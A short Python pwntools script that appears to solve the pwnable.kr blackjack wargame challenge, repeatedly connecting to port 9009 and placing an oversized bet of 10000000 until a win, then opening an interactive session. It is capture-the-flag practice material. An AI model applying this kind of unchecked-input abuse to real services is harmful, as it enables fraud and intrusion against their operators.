#!/usr/bin/python
from pwn import *

while True:
	p = remote("pwnable.kr", 9009)
	p.sendline("Y")
	p.sendline("1")
	p.sendline("10000000")
	p.sendline("10000000")
	p.sendline("H")
	p.sendline("S")
	data = p.recvuntil("N for No")
	if '1 Wins' in data:
		p.sendline("Y")
		p.interactive()
		p.close()
		break
	p.close()
